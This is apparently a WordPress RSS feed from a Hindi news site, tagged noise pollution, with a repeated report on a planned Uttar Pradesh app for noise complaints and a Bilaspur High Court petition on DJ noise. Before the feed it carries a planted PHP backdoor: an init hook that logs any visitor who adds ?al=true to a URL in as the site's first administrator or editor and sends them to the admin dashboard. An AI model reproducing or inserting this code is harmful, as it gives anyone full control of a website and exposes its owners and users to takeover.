// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); noise pollution – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 14 May 2026 04:25:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 यूपी में शोर मचाने वालों की अब खैर नहीं: मोबाइल APP से होगी नॉइस पॉल्यूशन की शिकायत https://pratyushaashakinayikiran.com/?p=219332 Thu, 14 May 2026 04:25:00 +0000 https://pratyushaashakinayikiran.com/?p=219332  लखनऊ
 राज्य में अब नागरिकों को जल्द ही मोबाइल एप्लीकेशन (एप) के जरिए ध्वनि प्रदूषण की शिकायत करने की सुविधा मिलने जा रही है। यातायात निदेशालय एप विकसित करने की योजना पर तेजी के साथ काम कर रहा है।

इस काम में विभिन्न जिलों की यातायात पुलिस के विशेषज्ञों की भी मदद ली जा रही है। इस एप के जरिए नागरिकों को ध्वनि प्रदूषण फैलाने वाले वाहनों की फोटो व वीडियो अपलोड करके सीधी शिकायत करने की सुविधा उपलब्ध कराई जाएगी।

एडीजी, यातायात एवं सड़क सुरक्षा ए सतीश गणेश ने बताया कि डीजीपी राजीव कृष्ण के निर्देशन में राज्य में वाहनों से होने वाले ध्वनि प्रदूषण को कम करने की योजना पर काम किया जा रहा है। राज्य भर में प्रेशर हॉर्न, मॉडीफाइड साइलेंसर व हूटर की बड़ी समस्या है।

यातायात पुलिस ने तीन से पांच और 18 से 19 अप्रैल के बीच राज्य भर में अभियान चलाकर 6039 वाहनों का चालान प्रेशर हार्न के उपयोग को लेकर किया है, जबकि 11 हजार से अधिक वाहनों का चालान मॉडीफाइड साइलेंसरों व हूटर लगाने को लेकर किया गया है।

इन वाहनों से 3.97 करोड़ रुपये का जुर्माना भी वसूला गया है। वहीं प्रेशर हार्न लगाने वाले वाहन चालकों से 2.42 करोड़ रुपये का जुर्माना वसूला गया है।

उन्होंने बताया कि वाहनों से फैलने वाले ध्वनि प्रदूषण को समाप्त करने के लिए चलाए जा रहे अभियान को लेकर आम नागरिकों को जागरूक किया जा रहा है। इसी सिलसिले में यातायात निदेशालय मोबाइल एप विकसित करा रहा है।

नागरिक ध्वनि प्रदूषण फैलाने वाले वाहनों की सीधी शिकायत एप के जरिए कर सकेंगे। एप पर आने वाली शिकायतों पर तत्काल कार्रवाई की जाएगी। उन्होंने बताया कि मोबाइल एप की सुविधा जल्द ही नागरिकों को उपलब्ध कराने के प्रयास किए जा रहे हैं।

 

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यूपी में शोर मचाने वालों की अब खैर नहीं: मोबाइल APP से होगी नॉइस पॉल्यूशन की शिकायत https://pratyushaashakinayikiran.com/?p=219334 Thu, 14 May 2026 04:25:00 +0000 https://pratyushaashakinayikiran.com/?p=219334  लखनऊ
 राज्य में अब नागरिकों को जल्द ही मोबाइल एप्लीकेशन (एप) के जरिए ध्वनि प्रदूषण की शिकायत करने की सुविधा मिलने जा रही है। यातायात निदेशालय एप विकसित करने की योजना पर तेजी के साथ काम कर रहा है।

इस काम में विभिन्न जिलों की यातायात पुलिस के विशेषज्ञों की भी मदद ली जा रही है। इस एप के जरिए नागरिकों को ध्वनि प्रदूषण फैलाने वाले वाहनों की फोटो व वीडियो अपलोड करके सीधी शिकायत करने की सुविधा उपलब्ध कराई जाएगी।

एडीजी, यातायात एवं सड़क सुरक्षा ए सतीश गणेश ने बताया कि डीजीपी राजीव कृष्ण के निर्देशन में राज्य में वाहनों से होने वाले ध्वनि प्रदूषण को कम करने की योजना पर काम किया जा रहा है। राज्य भर में प्रेशर हॉर्न, मॉडीफाइड साइलेंसर व हूटर की बड़ी समस्या है।

यातायात पुलिस ने तीन से पांच और 18 से 19 अप्रैल के बीच राज्य भर में अभियान चलाकर 6039 वाहनों का चालान प्रेशर हार्न के उपयोग को लेकर किया है, जबकि 11 हजार से अधिक वाहनों का चालान मॉडीफाइड साइलेंसरों व हूटर लगाने को लेकर किया गया है।

इन वाहनों से 3.97 करोड़ रुपये का जुर्माना भी वसूला गया है। वहीं प्रेशर हार्न लगाने वाले वाहन चालकों से 2.42 करोड़ रुपये का जुर्माना वसूला गया है।

उन्होंने बताया कि वाहनों से फैलने वाले ध्वनि प्रदूषण को समाप्त करने के लिए चलाए जा रहे अभियान को लेकर आम नागरिकों को जागरूक किया जा रहा है। इसी सिलसिले में यातायात निदेशालय मोबाइल एप विकसित करा रहा है।

नागरिक ध्वनि प्रदूषण फैलाने वाले वाहनों की सीधी शिकायत एप के जरिए कर सकेंगे। एप पर आने वाली शिकायतों पर तत्काल कार्रवाई की जाएगी। उन्होंने बताया कि मोबाइल एप की सुविधा जल्द ही नागरिकों को उपलब्ध कराने के प्रयास किए जा रहे हैं।

 

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छत्तीसगढ़-बिलासपुर हाईकोर्ट में ध्वनि प्रदूषण पर लगी जनहित याचिका, सरकार से मांगा जवाब https://pratyushaashakinayikiran.com/?p=101230 Thu, 21 Nov 2024 17:15:00 +0000 https://pratyushaashakinayikiran.com/?p=101230 बिलासपुर।

हाईकोर्ट में डीजे और साउंड बॉक्स के शोर से लोगों को होने वाली परेशानियों को लेकर जनहित याचिका पर आज सुनवाई हुई. इस दौरान याचिकाकर्ताओं की ओर से इस ध्वनि प्रदूषण को अल्ट्रा वायरस घोषित करने की मांग की गई. इस पर सरकार की ओर से कहा गया कि मामले में लगातार कार्रवाई हो रही है.

याचिकाकर्ता ने कहा कि कोलाहल अधिनियम में इतने कड़े नियम है ही नहीं. एक या दो बार 500-1000 रुपये पेनाल्टी लगाकर छोड़ दिया जाता है. ना सामान की जब्ती होती है और ना ही कोई कड़े नियम बनाए गए है. कोर्ट ने मामले में सरकार को जवाब पेश करने कहा है. मामले की सुनवाई के दौरान कोर्ट ने भी डीजे के साथ लेजर और बीम लाइट से होने वाली परेशानियों पर चिंता जताई. कोर्ट ने कहा कि डीजे से हार्ट के साथ ऐसे लेजर लाइट से आम लोगों की आंखों को खतरा है. इसे रोकने के लिए राज्य सरकार को प्रयास करने चाहिए.

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